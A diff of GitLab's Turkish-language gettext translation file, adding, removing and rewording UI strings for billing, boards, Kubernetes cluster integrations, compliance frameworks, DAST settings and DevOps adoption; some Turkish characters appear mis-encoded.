msgstr ""
-msgid "An error occurred while updating the milestone."
-msgstr ""
-
msgid "An error occurred while updating the notification settings. Please try again."
msgstr ""
@@ -4041,9 +4068,6 @@ msgstr "Etiket uygula"
msgid "Apply a template"
msgstr "Bir ÅŸablon uygula"
-msgid "Apply changes"
-msgstr "DeÄŸiÅŸiklikleri uygula"
-
msgid "Apply suggestion"
msgstr "Öneriyi uygula"
@@ -4133,15 +4157,9 @@ msgstr "Ä°sim"
msgid "ApprovalRule|Rule name"
msgstr "Kural adı"
-msgid "ApprovalRule|Status check"
-msgstr ""
-
msgid "ApprovalRule|Target branch"
msgstr "Hedef dal"
-msgid "ApprovalRule|Users or groups"
-msgstr ""
-
msgid "ApprovalStatusTooltip|Adheres to separation of duties"
msgstr ""
@@ -4527,9 +4545,6 @@ msgstr ""
msgid "At least one approval from a code owner is required to change files matching the respective CODEOWNER rules."
msgstr ""
-msgid "At least one logging option is required to be enabled"
-msgstr ""
-
msgid "At least one of group_id or project_id must be specified"
msgstr ""
@@ -4718,9 +4733,6 @@ msgstr "Otomatik DevOps"
msgid "Auto DevOps enabled"
msgstr "Auto DevOps etkinleÅŸtirildi"
-msgid "Auto DevOps, runners and job artifacts"
-msgstr ""
-
msgid "Auto stop successfully canceled."
msgstr ""
@@ -5108,6 +5120,9 @@ msgstr "Yükselt"
msgid "BillingPlan|Upgrade for free"
msgstr ""
+msgid "Billings|Shared runners cannot be enabled until a valid credit card is on file."
+msgstr ""
+
msgid "Billings|To use free pipeline minutes on shared runners, you’ll need to validate your account with a credit or debit card. If you prefer not to provide one, you can run pipelines by bringing your own runners and disabling shared runners for your project. This is required to discourage and reduce abuse on GitLab infrastructure. %{strongStart}GitLab will not charge or store your card, it will only be used for validation.%{strongEnd} %{linkStart}Learn more%{linkEnd}."
msgstr ""
@@ -5250,6 +5265,9 @@ msgid_plural "Boards|+ %{displayedIssuablesCount} more %{issuableType}s"
msgstr[0] ""
msgstr[1] ""
+msgid "Boards|An error occurred while creating the epic. Please try again."
+msgstr ""
+
msgid "Boards|An error occurred while creating the issue. Please try again."
msgstr ""
@@ -5309,6 +5327,9 @@ msgstr "GeniÅŸlet"
msgid "Boards|Failed to fetch blocking %{issuableType}s"
msgstr ""
+msgid "Boards|New epic"
+msgstr ""
+
msgid "Boards|Retrieving blocking %{issuableType}s"
msgstr ""
@@ -5339,6 +5360,9 @@ msgstr ""
msgid "Board|Enter board name"
msgstr ""
+msgid "Board|Failed to create epic. Please try again."
+msgstr ""
+
msgid "Board|Failed to delete board. Please try again."
msgstr ""
@@ -5561,6 +5585,9 @@ msgstr ""
msgid "Browse files"
msgstr "Dosyalara gözat"
+msgid "Browse templates"
+msgstr ""
+
msgid "BuildArtifacts|An error occurred while fetching the artifacts"
msgstr ""
@@ -5729,6 +5756,9 @@ msgstr ""
msgid "CICDAnalytics|Deployment frequency"
msgstr ""
+msgid "CICDAnalytics|Lead time"
+msgstr ""
+
msgid "CICDAnalytics|Projects with releases"
msgstr ""
@@ -5776,11 +5806,11 @@ msgstr "Dağıtım stratejisi"
msgid "CICD|Jobs"
msgstr "Ä°ÅŸler"
-msgid "CICD|The Auto DevOps pipeline runs if no alternative CI configuration file is found."
+msgid "CICD|The Auto DevOps pipeline runs by default in all projects with no CI/CD configuration file."
msgstr ""
-msgid "CICD|The Auto DevOps pipeline will run if no alternative CI configuration file is found."
-msgstr "Alternatif CI yapılandırma dosyası bulunmazsa, Otomatik DevOps iş hattı çalışır."
+msgid "CICD|The Auto DevOps pipeline runs if no alternative CI configuration file is found."
+msgstr ""
msgid "CICD|group enabled"
msgstr "grup etkinleÅŸtirildi"
@@ -5824,6 +5854,9 @@ msgstr ""
msgid "CVE|Why Request a CVE ID?"
msgstr ""
+msgid "Cadence is not automated"
+msgstr ""
+
msgid "Callback URL"
msgstr "Geridönüş bağlantısı"
@@ -5947,9 +5980,6 @@ msgstr ""
msgid "Cannot delete %{profile_name} referenced in security policy"
msgstr ""
-msgid "Cannot enable shared runners because parent group does not allow it"
-msgstr ""
-
msgid "Cannot have multiple Jira imports running at the same time"
msgstr ""
@@ -6055,15 +6085,15 @@ msgstr "Dönüm noktasını değiştir"
msgid "Change path"
msgstr "Yolu deÄŸiÅŸtir"
-msgid "Change permissions"
-msgstr "Ä°zinleri deÄŸiÅŸtir"
-
msgid "Change reviewer(s)"
msgstr ""
msgid "Change reviewer(s)."
msgstr ""
+msgid "Change role"
+msgstr ""
+
msgid "Change status"
msgstr "Durumu deÄŸiÅŸtir"
@@ -6340,6 +6370,9 @@ msgstr "Ülkeler yüklenemedi. Lütfen tekrar deneyin."
msgid "Checkout|Failed to load states. Please try again."
msgstr "İller yüklenemedi. Lütfen tekrar deneyin."
+msgid "Checkout|Failed to load the payment form. Please try again."
+msgstr ""
+
msgid "Checkout|Failed to register credit card. Please try again."
msgstr "Kredi kartı kaydedilemedi. Lütfen tekrar deneyin."
@@ -6442,9 +6475,6 @@ msgstr "Bir dosya seç"
msgid "Choose a group"
msgstr "Bir grup seçin"
-msgid "Choose a role permission"
-msgstr "İzin için bir rol seç"
-
msgid "Choose a template"
msgstr "Bir şablon seçin"
@@ -6472,6 +6502,9 @@ msgstr ""
msgid "Choose specific groups or storage shards"
msgstr ""
+msgid "Choose the preferred Runner and populate the AWS CFT."
+msgstr ""
+
msgid "Choose the top-level group for your repository imports."
msgstr ""
@@ -6901,9 +6934,6 @@ msgstr ""
msgid "ClusterAgent|This feature is only available for premium plans"
msgstr ""
-msgid "ClusterAgent|This project is not included in the GitLab.com rollout for Kubernetes agent"
-msgstr ""
-
msgid "ClusterAgent|User has insufficient permissions to create a token for this project"
msgstr ""
@@ -6913,24 +6943,12 @@ msgstr ""
msgid "ClusterAgent|You have insufficient permissions to delete this cluster agent"
msgstr ""
-msgid "ClusterIntegration|%{appList} was successfully installed on your Kubernetes cluster"
-msgstr "%{appList} Kubernetes kümenize başarıyla yüklendi"
-
-msgid "ClusterIntegration|%{boldStart}Note:%{boldEnd} Requires Ingress to be installed."
-msgstr ""
-
-msgid "ClusterIntegration|%{externalIp}.nip.io"
+msgid "ClusterApplicationsRemoved|One-click application management was removed in GitLab 14.0. Your applications are still installed in your cluster, and integrations continue working."
msgstr ""
msgid "ClusterIntegration|%{linkStart}More information%{linkEnd}"
msgstr ""
-msgid "ClusterIntegration|%{title} uninstalled successfully."
-msgstr "%{title} başarıyla kaldırıldı."
-
-msgid "ClusterIntegration|%{title} updated successfully."
-msgstr "%{title} başarıyla güncellendi."
-
msgid "ClusterIntegration|A cluster management project can be used to run deployment jobs with Kubernetes %{code_open}cluster-admin%{code_close} privileges."
msgstr ""
@@ -6964,15 +6982,6 @@ msgstr ""
msgid "ClusterIntegration|Advanced options on this Kubernetes cluster’s integration"
msgstr ""
-msgid "ClusterIntegration|All data not committed to GitLab will be deleted and cannot be restored."
-msgstr ""
-
-msgid "ClusterIntegration|All data will be deleted and cannot be restored."
-msgstr ""
-
-msgid "ClusterIntegration|All installed applications and related resources"
-msgstr ""
-
msgid "ClusterIntegration|Allow GitLab to manage namespace and service accounts for this cluster. %{linkStart}More information%{linkEnd}"
msgstr ""
@@ -6985,9 +6994,6 @@ msgstr ""
msgid "ClusterIntegration|Allows GitLab to query a specifically configured in-cluster Prometheus for metrics."
msgstr ""
-msgid "ClusterIntegration|Alternatively, "
-msgstr ""
-
msgid "ClusterIntegration|Amazon EKS"
msgstr "Amazon EKS"
@@ -7009,9 +7015,6 @@ msgstr ""
msgid "ClusterIntegration|Any project namespaces"
msgstr ""
-msgid "ClusterIntegration|Any running pipelines will be canceled."
-msgstr "Çalışan tüm iş hatları iptal edilecektir."
-
msgid "ClusterIntegration|Apply for credit"
msgstr "Krediye baÅŸvur"
@@ -7030,15 +7033,6 @@ msgstr "Temel etki alanı"
msgid "ClusterIntegration|CA Certificate"
msgstr "CA Sertifikası"
-msgid "ClusterIntegration|Can be safely removed. Prior to GitLab 13.2, GitLab used a remote Tiller server to manage the applications. GitLab no longer uses this server. Uninstalling this server will not affect your other applications. This row will disappear afterwards."
-msgstr ""
-
-msgid "ClusterIntegration|Cert-Manager"
-msgstr "Sertifika Yöneticisi"
-
-msgid "ClusterIntegration|Cert-Manager is a native Kubernetes certificate management controller that helps with issuing certificates. Installing Cert-Manager on your cluster will issue a certificate by %{linkStart}Let's Encrypt%{linkEnd} and ensure that certificates are valid and up-to-date."
-msgstr ""
-
msgid "ClusterIntegration|Certificate Authority bundle (PEM format)"
msgstr "Sertifika Yetkilisi paketi (PEM biçiminde)"
@@ -7060,9 +7054,6 @@ msgstr ""
msgid "ClusterIntegration|Choose the worker node %{linkStart}instance type%{linkEnd}."
msgstr ""
-msgid "ClusterIntegration|Choose which applications to install on your Kubernetes cluster."
-msgstr ""
-
msgid "ClusterIntegration|Choose which of your environments will use this cluster."
msgstr "Ortamlarınızdan hangisinin bu kümeyi kullanacağını seçin."
@@ -7075,15 +7066,12 @@ msgstr ""
msgid "ClusterIntegration|Cluster Region"
msgstr ""
-msgid "ClusterIntegration|Cluster management project (alpha)"
+msgid "ClusterIntegration|Cluster management project"
msgstr ""
msgid "ClusterIntegration|Cluster name is required."
msgstr "Küme ismi gerekli."
-msgid "ClusterIntegration|Cluster_applications artifact too big. Maximum allowable size: %{human_size}"
-msgstr ""
-
msgid "ClusterIntegration|Clusters are utilized by selecting the nearest ancestor with a matching environment scope. For example, project clusters will override group clusters. %{linkStart}More information%{linkEnd}"
msgstr ""
@@ -7105,15 +7093,6 @@ msgstr "API URL'sini Kopyala"
msgid "ClusterIntegration|Copy CA Certificate"
msgstr "CA Sertifikasını Kopyala"
-msgid "ClusterIntegration|Copy Ingress Endpoint"
-msgstr ""
-
-msgid "ClusterIntegration|Copy Jupyter Hostname"
-msgstr ""
-
-msgid "ClusterIntegration|Copy Knative Endpoint"
-msgstr ""
-
msgid "ClusterIntegration|Copy Kubernetes cluster name"
msgstr "Kubernetes küme adını kopyala"
@@ -7162,12 +7141,6 @@ msgstr ""
msgid "ClusterIntegration|Creating Kubernetes cluster"
msgstr "Kubernetes kümesi oluşturuluyor"
-msgid "ClusterIntegration|Crossplane"
-msgstr "Crossplane"
-
-msgid "ClusterIntegration|Crossplane enables declarative provisioning of managed services from your cloud of choice using %{codeStart}kubectl%{codeEnd} or %{linkStart}GitLab Integration%{linkEnd}. Crossplane runs inside your Kubernetes cluster and supports secure connectivity and secrets management between app containers and the cloud services they depend on."
-msgstr ""
-
msgid "ClusterIntegration|Deletes all GitLab resources attached to this cluster during removal"
msgstr ""
@@ -7183,9 +7156,6 @@ msgstr "Biliyor muydunuz?"
msgid "ClusterIntegration|Elastic Kubernetes Service"
msgstr ""
-msgid "ClusterIntegration|Elastic Stack"
-msgstr ""
-
msgid "ClusterIntegration|Enable Cloud Run for Anthos"
msgstr ""
@@ -7201,9 +7171,6 @@ msgstr "GitLab'ın Kubernetes kümeniz ile olan bağlantısını etkinleştirin
msgid "ClusterIntegration|Enable this setting if using role-based access control (RBAC)."
msgstr "Rol tabanlı erişim kontrolü (RBAC) kullanıyorsanız bu ayarı etkinleştirin."
-msgid "ClusterIntegration|Enabled stack"
-msgstr ""
-
msgid "ClusterIntegration|Enter new Service Token"
msgstr "Yeni Hizmet Erişim Anahtarını girin"
@@ -7246,27 +7213,12 @@ msgstr "Projeler getiriliyor"
msgid "ClusterIntegration|Fetching zones"
msgstr "Alanlar getiriliyor"
-msgid "ClusterIntegration|Fluentd"
-msgstr "Fluentd"
-
-msgid "ClusterIntegration|Fluentd is an open source data collector, which lets you unify the data collection and consumption for a better use and understanding of data. It requires at least one of the following logs to be successfully installed."
-msgstr ""
-
msgid "ClusterIntegration|GitLab Agent managed clusters"
msgstr ""
-msgid "ClusterIntegration|GitLab Container Network Policies"
-msgstr ""
-
msgid "ClusterIntegration|GitLab Integration"
msgstr "GitLab Bütünleşmesi"
-msgid "ClusterIntegration|GitLab Runner"
-msgstr "GitLab Çalıştırıcı"
-
-msgid "ClusterIntegration|GitLab Runner connects to the repository and executes CI/CD jobs, pushing results back and deploying applications to production."
-msgstr "GitLab Çalıştırıcı; depoya bağlanır ve CI/CD işlerini yürütür, sonuçları geri iter ve uygulamaları üretime dağıtır."
-
msgid "ClusterIntegration|GitLab failed to authenticate."
msgstr ""
@@ -7294,9 +7246,6 @@ msgstr "Grup kümesi"
msgid "ClusterIntegration|HTTP Error"
msgstr ""
-msgid "ClusterIntegration|Helm release failed to install"
-msgstr "Helm sürümü yüklenemedi"
-
msgid "ClusterIntegration|If you are setting up multiple clusters and are using Auto DevOps, %{help_link_start}read this first%{help_link_end}."
msgstr "Birden fazla küme oluşturuyorsanız ve Otomatik DevOps kullanıyorsanız, %{help_link_start}ilk önce bunu okuyunuz %{help_link_end}."
@@ -7306,18 +7255,6 @@ msgstr ""
msgid "ClusterIntegration|In order to view the health of your cluster, you must first enable Prometheus in the Integrations tab."
msgstr ""
-msgid "ClusterIntegration|Ingress"
-msgstr "Ingress"
-
-msgid "ClusterIntegration|Ingress Endpoint"
-msgstr "Ingress bitiş noktası"
-
-msgid "ClusterIntegration|Ingress gives you a way to route requests to services based on the request host or path, centralizing a number of services into a single entrypoint."
-msgstr "Ingress; istekleri, istek ana bilgisayarına veya yoluna dayanarak hizmetlere yönlendirerek bir dizi hizmeti tek bir giriş noktasına merkezileştirme yolu sunar."
-
-msgid "ClusterIntegration|Installing Ingress may incur additional costs. Learn more about %{linkStart}pricing%{linkEnd}."
-msgstr ""
-
msgid "ClusterIntegration|Instance cluster"
msgstr "Örnek küme"
@@ -7339,39 +7276,9 @@ msgstr ""
msgid "ClusterIntegration|Integrations allow you to use applications installed in your cluster as part of your GitLab workflow."
msgstr ""
-msgid "ClusterIntegration|Issuer Email"
-msgstr "Yayınlayıcı e-postası"
-
-msgid "ClusterIntegration|Issuers represent a certificate authority. You must provide an email address for your Issuer."
-msgstr ""
-
-msgid "ClusterIntegration|Jupyter Hostname"
-msgstr "Jupyter ana bilgisayar adı"
-
-msgid "ClusterIntegration|JupyterHub"
-msgstr "JupyterHub"
-
-msgid "ClusterIntegration|JupyterHub, a multi-user Hub, spawns, manages, and proxies multiple instances of the single-user Jupyter notebook server. JupyterHub can be used to serve notebooks to a class of students, a corporate data science group, or a scientific research group."
-msgstr ""
-
msgid "ClusterIntegration|Key pair name"
msgstr ""
-msgid "ClusterIntegration|Knative"
-msgstr "Knative"
-
-msgid "ClusterIntegration|Knative Domain Name:"
-msgstr "Knative etki alanı adı:"
-
-msgid "ClusterIntegration|Knative Endpoint:"
-msgstr "Knative bitiş noktası:"
-
-msgid "ClusterIntegration|Knative domain name was updated successfully."
-msgstr ""
-
-msgid "ClusterIntegration|Knative extends Kubernetes to provide a set of middleware components that are essential to build modern, source-centric, and container-based applications that can run anywhere: on premises, in the cloud, or even in a third-party data center."
-msgstr ""
-
msgid "ClusterIntegration|Kubernetes cluster is being created..."
msgstr "Kubernetes kümesi oluşturuluyor..."
@@ -7405,9 +7312,6 @@ msgstr ""
msgid "ClusterIntegration|Learn more about instance Kubernetes clusters"
msgstr ""
-msgid "ClusterIntegration|Legacy Helm Tiller server"
-msgstr ""
-
msgid "ClusterIntegration|Loading IAM Roles"
msgstr ""
@@ -7456,12 +7360,6 @@ msgstr ""
msgid "ClusterIntegration|No VPCs found"
msgstr ""
-msgid "ClusterIntegration|No deployment cluster found for this job"
-msgstr "Bu iş için hiçbir dağıtım kümesi bulunamadı"
-
-msgid "ClusterIntegration|No deployment found for this job"
-msgstr "Bu iş için dağıtım bulunamadı"
-
msgid "ClusterIntegration|No instance type found"
msgstr ""
@@ -7504,9 +7402,6 @@ msgstr ""
msgid "ClusterIntegration|Please make sure that your Google account meets the following requirements:"
msgstr ""
-msgid "ClusterIntegration|Point a wildcard DNS to this generated endpoint in order to access your application after it has been deployed."
-msgstr ""
-
msgid "ClusterIntegration|Project cluster"
msgstr "Proje kümesi"
@@ -7516,15 +7411,6 @@ msgstr ""
msgid "ClusterIntegration|Project namespace prefix (optional, unique)"
msgstr ""
-msgid "ClusterIntegration|Prometheus"
-msgstr "Prometheus"
-
-msgid "ClusterIntegration|Prometheus is an open-source monitoring system with %{linkStart}GitLab Integration%{linkEnd} to monitor deployed applications."
-msgstr ""
-
-msgid "ClusterIntegration|Protect your clusters with GitLab Container Network Policies by enforcing how pods communicate with each other and other network endpoints. %{linkStart}Learn more about configuring Network Policies here.%{linkEnd}"
-msgstr ""
-
msgid "ClusterIntegration|Provider details"
msgstr "Sağlayıcı ayrıntıları"
@@ -7561,24 +7447,6 @@ msgstr ""
msgid "ClusterIntegration|Removes cluster from project but keeps associated resources"
msgstr ""
-msgid "ClusterIntegration|Replace this with your own hostname if you want. If you do so, point hostname to Ingress IP Address from above."
-msgstr ""
-
-msgid "ClusterIntegration|Request to begin installing failed"
-msgstr "Yükleme isteği başarısız oldu"
-
-msgid "ClusterIntegration|Request to begin uninstalling failed"
-msgstr ""
-
-msgid "ClusterIntegration|SIEM Hostname"
-msgstr ""
-
-msgid "ClusterIntegration|SIEM Port"
-msgstr ""
-
-msgid "ClusterIntegration|SIEM Protocol"
-msgstr ""
-
msgid "ClusterIntegration|Save changes"
msgstr "DeÄŸiÅŸiklikleri kaydet"
@@ -7591,9 +7459,6 @@ msgstr ""
msgid "ClusterIntegration|Search VPCs"
msgstr ""
-msgid "ClusterIntegration|Search domains"
-msgstr ""
-
msgid "ClusterIntegration|Search instance types"
msgstr ""
@@ -7642,15 +7507,9 @@ msgstr ""
msgid "ClusterIntegration|Select a region to choose a VPC"
msgstr ""
-msgid "ClusterIntegration|Select a stack to install Crossplane."
-msgstr ""
-
msgid "ClusterIntegration|Select a zone to choose a network"
msgstr ""
-msgid "ClusterIntegration|Select existing domain or use new"
-msgstr ""
-
msgid "ClusterIntegration|Select machine type"
msgstr "Makine türlerini seç"
@@ -7675,9 +7534,6 @@ msgstr "Alan seç"
msgid "ClusterIntegration|Select zone to choose machine type"
msgstr "Makine türünü seçmek için alan seç"
-msgid "ClusterIntegration|Send Container Network Policies Logs"
-msgstr ""
-
msgid "ClusterIntegration|Service Token"
msgstr ""
@@ -7696,27 +7552,12 @@ msgstr "Sonunda bir ÅŸeyler ters gitti."
msgid "ClusterIntegration|Something went wrong while creating your Kubernetes cluster"
msgstr ""
-msgid "ClusterIntegration|Something went wrong while installing %{title}"
-msgstr "%{title} yüklenirken bir sorun oluştu"
-
-msgid "ClusterIntegration|Something went wrong while trying to save your settings. Please try again."
-msgstr ""
-
-msgid "ClusterIntegration|Something went wrong while uninstalling %{title}"
-msgstr ""
-
-msgid "ClusterIntegration|Something went wrong while updating Knative domain name."
-msgstr ""
-
msgid "ClusterIntegration|Specifying a domain will allow you to use Auto Review Apps and Auto Deploy stages for %{linkStart}Auto DevOps.%{linkEnd} The domain should have a wildcard DNS configured matching the domain. "
msgstr ""
msgid "ClusterIntegration|Subnets"
msgstr ""
-msgid "ClusterIntegration|The %{gitlabNamespace} namespace"
-msgstr ""
-
msgid "ClusterIntegration|The Amazon Resource Name (ARN) associated with your role. If you do not have a provision role, first create one on %{startAwsLink}Amazon Web Services %{externalLinkIcon}%{endLink} using the above account and external IDs. %{startMoreInfoLink}More information%{endLink}"
msgstr ""
@@ -7726,24 +7567,6 @@ msgstr ""
msgid "ClusterIntegration|The URL used to access the Kubernetes API."
msgstr ""
-msgid "ClusterIntegration|The associated IP and all deployed services will be deleted and cannot be restored. Uninstalling Knative will also remove Istio from your cluster. This will not effect any other applications."
-msgstr ""
-
-msgid "ClusterIntegration|The associated Tiller pod will be deleted and cannot be restored. Your other applications will remain unaffected."
-msgstr ""
-
-msgid "ClusterIntegration|The associated load balancer and IP will be deleted and cannot be restored."
-msgstr ""
-
-msgid "ClusterIntegration|The associated private key will be deleted and cannot be restored."
-msgstr ""
-
-msgid "ClusterIntegration|The elastic stack collects logs from all pods in your cluster"
-msgstr ""
-
-msgid "ClusterIntegration|The endpoint is in the process of being assigned. Please check your Kubernetes cluster or Quotas on Google Kubernetes Engine if it takes a long time."
-msgstr ""
-
msgid "ClusterIntegration|The namespace associated with your project. This will be used for deploy boards, logs, and Web terminals."
msgstr ""
@@ -7774,9 +7597,6 @@ msgstr ""
msgid "ClusterIntegration|This will permanently delete the following resources:"
msgstr ""
-msgid "ClusterIntegration|To access your application after deployment, point a wildcard DNS to the Knative Endpoint."
-msgstr ""
-
msgid "ClusterIntegration|To create a cluster, first create a project on %{docsLinkStart}Google Cloud Platform%{docsLinkEnd}."
msgstr ""
@@ -7798,21 +7618,9 @@ msgstr ""
msgid "ClusterIntegration|Unable to Connect"
msgstr ""
-msgid "ClusterIntegration|Uninstall %{appTitle}"
-msgstr "%{appTitle} uygulamasını kaldır"
-
msgid "ClusterIntegration|Unknown Error"
msgstr ""
-msgid "ClusterIntegration|Update %{appTitle}"
-msgstr "%{appTitle} uygulamasını güncelleyin."
-
-msgid "ClusterIntegration|Update failed. Please check the logs and try again."
-msgstr ""
-
-msgid "ClusterIntegration|Use %{query}"
-msgstr "%{query} sorgusunu kullan"
-
msgid "ClusterIntegration|Uses the Cloud Run, Istio, and HTTP Load Balancing addons for this cluster."
msgstr ""
@@ -7837,27 +7645,12 @@ msgstr ""
msgid "ClusterIntegration|You are about to remove your cluster integration."
msgstr ""
-msgid "ClusterIntegration|You are about to uninstall %{appTitle} from your cluster."
-msgstr ""
-
-msgid "ClusterIntegration|You are about to update %{appTitle} on your cluster."
-msgstr "Kümenizdeki %{appTitle} başlığını değiştirmek üzeresiniz."
-
msgid "ClusterIntegration|You must grant access to your organization’s AWS resources in order to create a new EKS cluster. To grant access, create a provision role using the account and external ID below and provide us the ARN."
msgstr ""
-msgid "ClusterIntegration|You must have an RBAC-enabled cluster to install Knative."
-msgstr ""
-
-msgid "ClusterIntegration|You must specify a domain before you can install Knative."
-msgstr "Knative yüklemeden önce bir etki alanı belirlemelisiniz."
-
msgid "ClusterIntegration|You should select at least two subnets"
msgstr ""
-msgid "ClusterIntegration|Your Elasticsearch cluster will be re-created during this upgrade. Your logs will be re-indexed, and you will lose historical logs from hosts terminated in the last 30 days."
-msgstr ""
-
msgid "ClusterIntegration|Your account must have %{link_to_kubernetes_engine}"
msgstr ""
@@ -7873,12 +7666,6 @@ msgstr "Alan"
msgid "ClusterIntegration|access to Google Kubernetes Engine"
msgstr ""
-msgid "ClusterIntegration|can be used instead of a custom domain. "
-msgstr ""
-
-msgid "ClusterIntegration|installed via %{linkStart}Cloud Run%{linkEnd}"
-msgstr ""
-
msgid "ClusterIntegration|meets the requirements"
msgstr ""
@@ -7951,6 +7738,9 @@ msgstr "Kod sahibi onayı gerekiyor"
msgid "Code owners"
msgstr "Kod sahipleri"
+msgid "Code review"
+msgstr ""
+
msgid "Code snippet copied. Insert it in the correct location in the YAML file."
msgstr ""
@@ -7966,9 +7756,15 @@ msgstr "Desen"
msgid "CodeQuality|Code quality"
msgstr ""
+msgid "CodeQuality|Code quality: %{severity} - %{description}"
+msgstr ""
+
msgid "CodeQuality|New code quality degradations in this file"
msgstr ""
+msgid "CodeQuality|New code quality degradations on this line"
+msgstr ""
+
msgid "CodeQuality|Some changes in this file degrade the code quality."
msgstr ""
@@ -8265,9 +8061,6 @@ msgstr ""
msgid "ComplianceFrameworks|Add framework"
msgstr ""
-msgid "ComplianceFrameworks|All"
-msgstr ""
-
msgid "ComplianceFrameworks|Combines with the CI configuration at runtime."
msgstr ""
@@ -8304,9 +8097,6 @@ msgstr ""
msgid "ComplianceFrameworks|Once a compliance framework is added it will appear here."
msgstr ""
-msgid "ComplianceFrameworks|Regulated"
-msgstr ""
-
msgid "ComplianceFrameworks|There are no compliance frameworks set up yet"
msgstr ""
@@ -8325,42 +8115,9 @@ msgstr ""
msgid "ComplianceFramework|Edit Compliance Framework"
msgstr ""
-msgid "ComplianceFramework|GDPR"
-msgstr ""
-
-msgid "ComplianceFramework|GDPR - General Data Protection Regulation"
-msgstr ""
-
-msgid "ComplianceFramework|HIPAA"
-msgstr ""
-
-msgid "ComplianceFramework|HIPAA - Health Insurance Portability and Accountability Act"
-msgstr ""
-
msgid "ComplianceFramework|New Compliance Framework"
msgstr ""
-msgid "ComplianceFramework|PCI-DSS"
-msgstr ""
-
-msgid "ComplianceFramework|PCI-DSS - Payment Card Industry-Data Security Standard"
-msgstr ""
-
-msgid "ComplianceFramework|SOC 2"
-msgstr ""
-
-msgid "ComplianceFramework|SOC 2 - Service Organization Control 2"
-msgstr ""
-
-msgid "ComplianceFramework|SOX"
-msgstr ""
-
-msgid "ComplianceFramework|SOX - Sarbanes-Oxley"
-msgstr ""
-
-msgid "ComplianceFramework|This project is regulated by %{framework}."
-msgstr ""
-
msgid "Component"
msgstr ""
@@ -8379,6 +8136,9 @@ msgstr ""
msgid "Configuration help"
msgstr ""
+msgid "Configure %{link} to track events. %{link_start}Learn more.%{link_end}"
+msgstr ""
+
msgid "Configure GitLab runners to start using the Web Terminal. %{helpStart}Learn more.%{helpEnd}"
msgstr ""
@@ -8629,6 +8389,9 @@ msgstr ""
msgid "ContainerRegistry|Cleanup pending"
msgstr ""
+msgid "ContainerRegistry|Cleanup policies are now available for this project. %{linkStart}Click here to get started.%{linkEnd}"
+msgstr ""
+
msgid "ContainerRegistry|Cleanup policy for tags is disabled"
msgstr ""
@@ -8982,7 +8745,7 @@ msgstr "Katkıda Bulunanlar"
msgid "Control emails linked to your account"
msgstr "Hesabınıza bağlı e-postaları kontrol edin"
-msgid "Control the display of third party offers."
+msgid "Control whether to display third-party offers in GitLab."
msgstr ""
msgid "Cookie domain"
@@ -9021,6 +8784,9 @@ msgstr "Harici kimliÄŸi panoya kopyala"
msgid "Copy ID"
msgstr "KimliÄŸi kopyala"
+msgid "Copy IP Address"
+msgstr ""
+
msgid "Copy KRB5 clone URL"
msgstr "KRB5 klon URL'sini kopyala"
@@ -9087,6 +8853,9 @@ msgstr ""
msgid "Copy the code below to implement tracking in your application:"
msgstr ""
+msgid "Copy this registration token."
+msgstr ""
+
msgid "Copy this value"
msgstr ""
@@ -9327,9 +9096,6 @@ msgstr ""
msgid "Create blank project"
msgstr "BoÅŸ proje oluÅŸtur"
-msgid "Create blank project/repository"
-msgstr ""
-
msgid "Create branch"
msgstr "Dal oluÅŸtur"
@@ -9456,9 +9222,6 @@ msgstr "İlk sayfanızı oluşturun"
msgid "Create your group"
msgstr "Bir grup oluÅŸtur"
-msgid "Create your own profile to collaborate with your teammates in issues, merge requests, and more."
-msgstr ""
-
msgid "Create/import your first project"
msgstr "İlk projenizi oluşturun/içe aktarın"
@@ -9690,6 +9453,12 @@ msgstr ""
msgid "CredentialsInventory|SSH Keys"
msgstr ""
+msgid "Credit card validated at:"
+msgstr ""
+
+msgid "Credit card validated:"
+msgstr ""
+
msgid "Critical vulnerabilities present"
msgstr ""
@@ -9699,9 +9468,6 @@ msgstr "Cron Zaman Dilimi"
msgid "Cron time zone"
msgstr ""
-msgid "Crossplane"
-msgstr ""
-
msgid "Crowd"
msgstr ""
@@ -9717,9 +9483,6 @@ msgstr "Mevcut Proje"
msgid "Current forks will keep their visibility level."
msgstr ""
-msgid "Current node"
-msgstr ""
-
msgid "Current node must be the primary node or you will be locking yourself out"
msgstr ""
@@ -9795,6 +9558,9 @@ msgstr ""
msgid "Customizable by owners."
msgstr ""
+msgid "Customize CI/CD settings, including Auto DevOps, shared runners, and job artifacts."
+msgstr ""
+
msgid "Customize colors"
msgstr "Özel renkler"
@@ -10012,9 +9778,6 @@ msgstr ""
msgid "DAST Scans"
msgstr ""
-msgid "DAST Settings"
-msgstr ""
-
msgid "DNS"
msgstr "DNS"
@@ -10081,6 +9844,18 @@ msgstr ""
msgid "Dashboard|Unable to add %{invalidProjects}. This dashboard is available for public projects, and private projects in groups with a Premium plan."
msgstr ""
+msgid "DastConfig|Customize DAST settings to suit your requirements. Configuration changes made here override those provided by GitLab and are excluded from updates. For details of more advanced configuration options, see the %{docsLinkStart}GitLab DAST documentation%{docsLinkEnd}."
+msgstr ""
+
+msgid "DastConfig|DAST Settings"
+msgstr ""
+
+msgid "DastConfig|Generate code snippet"
+msgstr ""
+
+msgid "DastConfig|Scan Configuration"
+msgstr ""
+
msgid "DastProfiles|A passive scan monitors all HTTP messages (requests and responses) sent to the target. An active scan attacks the target to find potential vulnerabilities."
msgstr ""
@@ -10440,9 +10215,6 @@ msgstr "Tarih seçici"
msgid "Date range"
msgstr ""
-msgid "Date range cannot exceed %{maxDateRange} days."
-msgstr "Tarih aralığı %{maxDateRange} günü aşamaz."
-
msgid "Date range must be shorter than %{max_range} days."
msgstr ""
@@ -10467,6 +10239,9 @@ msgstr ""
msgid "Days to merge"
msgstr ""
+msgid "Deactivate dormant users after 90 days of inactivity. Users can return to active status by signing in to their account. While inactive, a user is not counted as an active user in the instance."
+msgstr ""
+
msgid "Deactivate this user"
msgstr ""
@@ -10500,8 +10275,8 @@ msgstr ""
msgid "Default"
msgstr ""
-msgid "Default CI configuration path"
-msgstr "Varsayılan CI yapılandırma yolu"
+msgid "Default CI/CD configuration file"
+msgstr ""
msgid "Default Timeout Period"
msgstr ""
@@ -10620,6 +10395,9 @@ msgstr "Yorumu sil"
msgid "Delete domain"
msgstr "Etki alanını sil"
+msgid "Delete file"
+msgstr ""
+
msgid "Delete image repository"
msgstr ""
@@ -11291,12 +11069,30 @@ msgstr ""
msgid "DevOps Report"
msgstr ""
+msgid "DevOps adoption"
+msgstr ""
+
+msgid "DevopsAdoption|%{adoptedCount}/%{featuresCount} %{title} features adopted"
+msgstr ""
+
msgid "DevopsAdoption|Add Group"
msgstr ""
msgid "DevopsAdoption|Add a group to get started"
msgstr ""
+msgid "DevopsAdoption|Add group"
+msgstr ""
+
+msgid "DevopsAdoption|Add group to table"
